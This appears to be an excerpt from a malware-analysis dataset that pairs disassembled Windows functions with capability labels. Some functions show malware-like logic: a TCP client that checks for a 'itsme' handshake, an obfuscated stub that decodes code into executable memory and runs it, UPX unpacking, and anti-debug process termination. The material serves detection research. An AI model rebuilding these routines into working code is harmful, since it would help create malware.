joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406990
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x4e0
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x4dc], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x4f0]
push edi
xor ebx, ebx
push 0x12b
lea eax, [esp + 0x3bd]
push ebx
push eax
mov byte [esp + 0x3c4], bl
call sub.MSVCR80.dll_memset
mov ebp, dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0x12c
lea ecx, [esp + 0x3bc]
push esi
push ecx
call ebp
add esp, 0xc
push 0x12b
lea edx, [esp + 0x28d]
push ebx
push edx
mov byte [esp + 0x294], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x3bc]
push eax
lea ecx, [esp + 0x290]
push ecx
call ebp
lea eax, [esp + 0x294]
add esp, 0xc
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x406a28
mov dx, word [0x40f698]
mov cl, byte [0x40f69a]
mov word [eax], dx
lea edx, [esp + 0x18]
mov byte [eax + 2], cl
push edx
lea eax, [esp + 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x406bae
mov esi, dword [sym.imp.MSVCR80.dll_strncmp]
push 1
lea edx, [esp + 0x48]
push 0x40f69c
push edx
call esi
add esp, 0xc
test eax, eax
je 0x406b96
push 2
lea eax, [esp + 0x48]
push 0x40f6a0
push eax
call esi
add esp, 0xc
test eax, eax
je 0x406b96
push 0x12b
lea ecx, [esp + 0x15d]
push ebx
push ecx
mov byte [esp + 0x164], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0x3bc]
push edx
lea eax, [esp + 0x160]
push eax
call ebp
lea edi, [esp + 0x164]
add esp, 0xc
add edi, 0xffffffff
lea esp, [esp]
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x406af0
mov cx, word [0x40f6a4]
lea eax, [esp + 0x44]
mov word [edi], cx
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x406b10
lea edi, [esp + 0x158]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x406b25
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test byte [esp + 0x18], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x406b55
lea edx, [esp + 0x158]
push edx
call fcn.00406990
jmp 0x406b96
push ebx
push ebx
lea eax, [esp + 0x160]
push eax
push 0x406710
push ebx
push ebx
mov byte [0x412544], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x406b7e
add dword [0x412548], 1
cmp byte [0x412544], bl
je 0x406b96
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x412544], bl
jne 0x406b86
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406a70
mov ecx, dword [esp + 0x4ec]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040e2e2
add esp, 0x4e0
ret 4
Function at 0x407a70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create raw socket
Create tcp socket
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x50
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x4c], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x407bb8
mov byte [esp + 0x20], al
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
mov dword [esp + 0x2d], eax
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
mov eax, esi
mov edx, esi
jmp 0x407ac0
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x407ac0
lea edi, [esp + 0x20]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x407ad2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 6
mov ecx, eax
push 1
and ecx, 3
push 2
rep movsb byte es:[edi], byte [esi]
call sub.WS2_32.dll_socket
mov esi, eax
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x14], 2
call sub.WS2_32.dll_inet_addr
push 0xa86e
mov dword [esp + 0x18], eax
call sub.WS2_32.dll_htons
push 0x10
lea ecx, [esp + 0x14]
push ecx
push esi
mov word [esp + 0x1e], ax
call sub.WS2_32.dll_connect
test eax, eax
jne 0x407bb8
push 8
lea edx, [esp + 0xc]
push edx
push 0x1006
push 0xffff
push esi
mov dword [esp + 0x1c], 0x4e20
mov dword [esp + 0x20], eax
call sub.WS2_32.dll_setsockopt
xor eax, eax
push eax
mov dword [esp + 0x39], eax
mov dword [esp + 0x3d], eax
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov byte [esp + 0x55], al
push 0x1e
lea eax, [esp + 0x3c]
push eax
push esi
mov byte [esp + 0x44], 0
call sub.WS2_32.dll_recv
test eax, eax
jle 0x407bb8
lea ecx, [esp + 0x34]
push str.itsme
push ecx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
test eax, eax
je 0x407bb8
add dword [0x412520], 1
lea edx, [esp + 0x20]
push edx
push esi
call fcn.00407eb0
add esp, 8
mov ecx, dword [esp + 0x54]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040e2e2
mov esp, ebp
pop ebp
ret 4
Function at 0x40ded6
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x41201c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040de15
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40df25
cmp dword [ebp - 0x1c], 5
jb 0x40df3d
jmp 0x40df39
cmp dword [ebp - 0x10], 1
jne 0x40df3d
cmp dword [ebp - 0x1c], 4
ja 0x40df39
jne 0x40df3d
cmp dword [ebp - 0x18], 0
jbe 0x40df3d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x40f43c
call fcn.0040dcc8
test eax, eax
jge 0x40df5e
mov byte [0x412550], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040e2e2
add ebp, 0x78
leave
ret

Function at 0x40e2e2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41201c]
jne 0x40e2ec
repz ret
jmp fcn.0040e78d
Function at 0x449ce0
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [ecx + 4]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x449cf0
xor al, al
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x449ced
mov ecx, 0xe0
cmp word [eax + 0x14], cx
jne 0x449ced
mov edx, 0x10b
cmp word [eax + 0x18], dx
sete al
ret

Function at 0x45a040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x45a04f
pop dword [ebp - 0x10]
mov eax, 0xeb33fed7
add eax, 0x1511a178
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x934192f
add dword [ebp - 0x20], 0x451e2c1c
mov dword [ebp - 0x1c], 0x4764d676
add dword [ebp - 0x1c], 0xeace75cf
mov dword [ebp - 0x18], 0x1317f3c8
add dword [ebp - 0x18], 0x39345066
mov dword [ebp - 0x14], 0x54fb5d1c
sub dword [ebp - 0x14], 0x54fb5d1c
lea eax, [ebp - 0x20]
push eax
mov eax, 0x124fb984
add eax, 0xedfc46f0
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xae0e5803
add dword [ebp - 0x20], 0xc6641153
mov dword [ebp - 0x1c], 0xafb2e808
sub dword [ebp - 0x1c], 0x6e468693
mov dword [ebp - 0x18], 0xda31bac0
add dword [ebp - 0x18], 0x893db1ac
mov dword [ebp - 0x14], 0x747d4f7d
add dword [ebp - 0x14], 0x8b82b083
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xd142d028
add eax, 0x2f093048
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x6f116
push 0
call eax
mov ecx, 0xcbd610e9
add ecx, 0x342a37cb
mov edi, eax
mov ebx, 0x9a4dabe9
add ebx, 0x66030017
add ebx, dword [ebp - 0x10]
mov esi, 0x19a1b5be
mov edx, dword [ebx]
xor dword [ebp - 8], 0xde1a2dcd
sub edx, esi
mov dword [ebp - 8], 0xdffd5063
mov dword [edi], edx
sub dword [ebp - 8], 0x261220f0
add edi, 0x37ee10d
sub edi, 0x37ee109
add ebx, 0x1fd81f63
sub ebx, 0x1fd81f5f
loop 0x45a16b
add eax, 0x8533f220
sub eax, 0x8532dc7d
mov ebx, eax
add eax, 5
mov ecx, 0x72ee82fb
add ecx, 0x8d517d05
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10006958
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x10006966
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10006962
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
pop ebp
ret
Function at 0x8024f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3ad000]
push edi
jmp 0x80250a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x802511
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x802500
mov eax, 1
add ebx, ebx
jne 0x802523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x802534
jne 0x802553
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x802553
dec eax
add ebx, ebx
jne 0x802540
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x802518
add ebx, ebx
jne 0x80254f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8025a5
xor ecx, ecx
sub eax, 3
jb 0x80256b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8025da
sar eax, 1
mov ebp, eax
jmp 0x802576
add ebx, ebx
jne 0x802576
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x802544
inc ecx
add ebx, ebx
jne 0x802584
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x802544
add ebx, ebx
jne 0x802591
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x802586
jne 0x8025a2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x802586
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8025c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8025b6
jmp 0x802506
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8025c4
add edi, ecx
jmp 0x802506
pop esi
mov edi, esi
mov ecx, 0x3eef
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8025e2
cmp byte [edi], 0x11
jne 0x8025e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8025e7
lea edi, [esi + 0x3fb000]
mov eax, dword [edi]
or eax, eax
je 0x80265f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x72c940]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x72cabc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x802614
mov ecx, edi
jns 0x802643
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x72cac0]
or eax, eax
je 0x802659
mov dword [ebx], eax
add ebx, 4
jmp 0x802631
call dword [esi + 0x72cad0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x802690
cmp al, 0xef
ja 0x802683
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x802665
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x802672
mov ebp, dword [esi + 0x72cac4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8026c4
sub esp, 0xffffff80
jmp 0x426bf7
Function at 0xaae5d70
Capabilities:
Hash data using sha1

Disassembly:
mov edx, dword [esp + 4]
push edi
mov ecx, 0x17
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [edx], 0x67452301
mov dword [edx + 4], 0xefcdab89
mov dword [edx + 8], 0x98badcfe
mov dword [edx + 0xc], 0x10325476
mov dword [edx + 0x10], 0xc3d2e1f0
pop edi
ret
Function at 0xaaf1ee0
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.0aaf1e20
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
push esi
push 1
test eax, eax
push 0x1f0fff
je 0xaaf1f0b
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop esi
ret
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0xffffffffffffffff
push eax
call dword [sym.imp.USER32.DLL_WaitForInputIdle]
pop esi
ret

Function at 0xaaf21f0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x80
push ebx
push ebp
push esi
push edi
push 0xa6c7000
call fcn.0aaf1fe0
mov ebp, eax
add esp, 4
mov eax, dword [ebp + 0x10]
test eax, eax
je 0xaaf229b
mov eax, dword [ebp + 0xc]
push eax
call fcn.0aaf1fe0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0xaaf22a6
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.0aaf1fe0
mov ebx, eax
mov eax, dword [ebp]
add esp, 4
test eax, eax
je 0xaaf2245
push eax
jmp 0xaaf2249
mov edx, dword [ebp + 0x10]
push edx
call fcn.0aaf1fe0
mov esi, eax
add esp, 4
mov eax, dword [esi]
test eax, eax
je 0xaaf228d
test eax, 0x80000000
je 0xaaf2267
and eax, 0x7fffffff
jmp 0xaaf2273
push eax
call fcn.0aaf1fe0
add esp, 4
add eax, 2
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0xaaf22ef
add esi, 4
mov dword [ebx], eax
add ebx, 4
mov eax, dword [esi]
test eax, eax
jne 0xaaf2259
mov eax, dword [ebp + 0x24]
add ebp, 0x14
test eax, eax
jne 0xaaf2214
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret
lea eax, [esp + 0x10]
push 0xaaf61d0
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0aaf1fe0
add esp, 4
lea edx, [esp + 0x10]
push eax
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
lea eax, [esp + 0x14]
push 0xaaf61c0
push eax
call dword [sym.imp.USER32.DLL_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.DLL_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [esp + 0x10]
push 0xaaf61a0
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [ebp + 0xc]
push edx
call fcn.0aaf1fe0
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
add esp, 4
push eax
lea eax, [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x10]
push 0xaaf6190
push ecx
call edi
mov esi, dword [esi]
test esi, 0x80000000
jne 0xaaf2343
push esi
call fcn.0aaf1fe0
add esp, 4
add eax, 2
lea edx, [esp + 0x10]
push eax
push edx
call edi
push 0
lea eax, [esp + 0x14]
push 0xaaf61c0
push eax
call dword [sym.imp.USER32.DLL_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.DLL_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x10001070
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
jmp 0x1000113c
lea eax, [ebp - 0x104]
push eax
call 0x100012e8
push 0x1000107e
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x10001209
lea eax, [ebp - 0x108]
push eax
push 0x20019
push 0
push 0x10001112
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x1000126e
mov dword [ebp - 0x10c], 0x103
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x10001102
push dword [ebp - 0x108]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x108]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x1000126e
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x100011ee
mov word [ebx], 0x5c
push 0x10001132
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x1000126e
mov dword [0x1000300c], eax
push 0x10001107
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x10001263
push eax
push 0x3ea
call eax
pop edx
test eax, eax
je 0x10001263
mov dword [0x10003008], eax
push 0x3eb
mov ebx, section..data
call edx
test eax, eax
je 0x10001263
mov dword [section..data], edx
call 0x1000124a
add dword [esp], 0x4db6
call eax
mov dword [0x10003004], eax
sub esp, 4
pop dword [0x10003010]
leave
ret
push dword [0x1000300c]
call sub.KERNEL32.dll_FreeLibrary
mov dword [0x1000300c], 0
mov dword [section..data], 0xffffffff
mov dword [0x10003010], 0
mov dword [0x10003004], 0
mov dword [0x10003008], 0
push 0x10
push 0x1000112c
push 0x10001088
push 0
call sub.USER32.dll_MessageBoxA
push 0xffffffffffffffff
call sub.KERNEL32.dll_ExitProcess
leave
ret

Function at 0x1001f6f0
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x14872
jmp fcn.10001058
Function at 0x403594
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4e6008], 0x8088405
inc edx
mov dword [ebx + 0x4e6008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41c674
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41c6a5
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41c68d
add dl, dl
jne 0x41c6b0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41c701
xor eax, eax
add dl, dl
jne 0x41c6bd
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41c79e
add dl, dl
jne 0x41c6cc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41c6d7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41c6e2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41c6ed
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41c6f7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41c69c
mov eax, 1
add dl, dl
jne 0x41c70f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41c71a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41c706
sub eax, ebx
mov ebx, 1
jne 0x41c74d
mov ecx, 1
add dl, dl
jne 0x41c733
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41c73e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41c72a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41c69c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41c764
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41c76f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41c75b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41c69c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41c7bf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41c69c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41d33c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
test dl, dl
je 0x41d34f
add esp, 0xfffffff0
call fcn.00403d6c
mov esi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00403af4
mov byte [ebx + 4], 0
cmp dword [esi + 0x5c], 0
jne 0x41d375
cmp dword [esi + 0x58], 0x40
jb 0x41d55b
jmp 0x41d37b
jl 0x41d55b
lea eax, [ebx + 0xc]
mov edx, 0x40
call fcn.00406e44
push 0
push 0
push 0
push 0x40
lea edx, [ebx + 0xc]
mov eax, esi
call fcn.0041cef4
cmp word [ebx + 0xc], 0x5a4d
jne 0x41d55b
mov ecx, dword [ebx + 0x48]
test ecx, ecx
jle 0x41d55b
cmp ecx, 0x10000
jge 0x41d55b
mov eax, ecx
add eax, 4
add eax, 0x14
cdq
cmp edx, dword [esi + 0x5c]
jne 0x41d3d6
cmp eax, dword [esi + 0x58]
ja 0x41d55b
jmp 0x41d3dc
jg 0x41d55b
lea eax, [ebx + 0x4c]
mov edx, 4
call fcn.00406e44
mov eax, dword [ebx + 0x48]
cdq
push edx
push eax
push 0
push 4
lea edx, [ebx + 0x4c]
mov eax, esi
call fcn.0041cef4
cmp dword [ebx + 0x4c], 0x4550
jne 0x41d55b
lea eax, [ebx + 0x50]
mov edx, 0x14
call fcn.00406e44
mov eax, dword [ebx + 0x48]
add eax, 4
cdq
push edx
push eax
push 0
push 0x14
lea edx, [ebx + 0x50]
mov eax, esi
call fcn.0041cef4
mov ax, word [ebx + 0x50]
cmp ax, 0x8664
jne 0x41d493
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
add eax, 0xf0
cdq
cmp edx, dword [esi + 0x5c]
jne 0x41d457
cmp eax, dword [esi + 0x58]
ja 0x41d4e4
jmp 0x41d45d
jg 0x41d4e4
lea eax, [ebx + 0x144]
mov edx, 0xf0
call fcn.00406e44
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
cdq
push edx
push eax
push 0
push 0xf0
lea edx, [ebx + 0x144]
mov eax, esi
call fcn.0041cef4
mov byte [ebx + 4], 1
jmp 0x41d4e4
cmp ax, 0x14c
jne 0x41d4e4
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
add eax, 0xe0
cdq
cmp edx, dword [esi + 0x5c]
jne 0x41d4b4
cmp eax, dword [esi + 0x58]
ja 0x41d4e4
jmp 0x41d4b6
jg 0x41d4e4
lea eax, [ebx + 0x64]
mov edx, 0xe0
call fcn.00406e44
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
cdq
push edx
push eax
push 0
push 0xe0
lea edx, [ebx + 0x64]
mov eax, esi
call fcn.0041cef4
mov byte [ebx + 4], 1
cmp byte [ebx + 4], 0
je 0x41d55b
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
movzx edx, word [ebx + 0x60]
add eax, edx
mov di, word [ebx + 0x52]
movzx edx, di
shl edx, 3
lea edx, [edx + edx*4]
add eax, edx
cdq
cmp edx, dword [esi + 0x5c]
jne 0x41d515
cmp eax, dword [esi + 0x58]
ja 0x41d55b
jmp 0x41d517
jg 0x41d55b
movzx eax, di
push eax
lea eax, [ebx + 8]
mov ecx, 1
mov edx, dword [0x4d0e0c]
call fcn.00405b38
add esp, 4
mov eax, dword [ebx + 0x48]
add eax, 4
add eax, 0x14
movzx edx, word [ebx + 0x60]
add eax, edx
cdq
push edx
push eax
movzx eax, word [ebx + 0x52]
shl eax, 3
lea eax, [eax + eax*4]
xor edx, edx
push edx
push eax
mov edx, dword [ebx + 8]
mov eax, esi
call fcn.0041cef4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x41d572
call fcn.00403dc4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x41e270
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4d272f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e321
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e30a
test esi, esi
jbe 0x41e321
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.00408868
test eax, eax
jne 0x41e2fc
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e321
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e2d9
jmp 0x41e321
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e321
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d2736
ret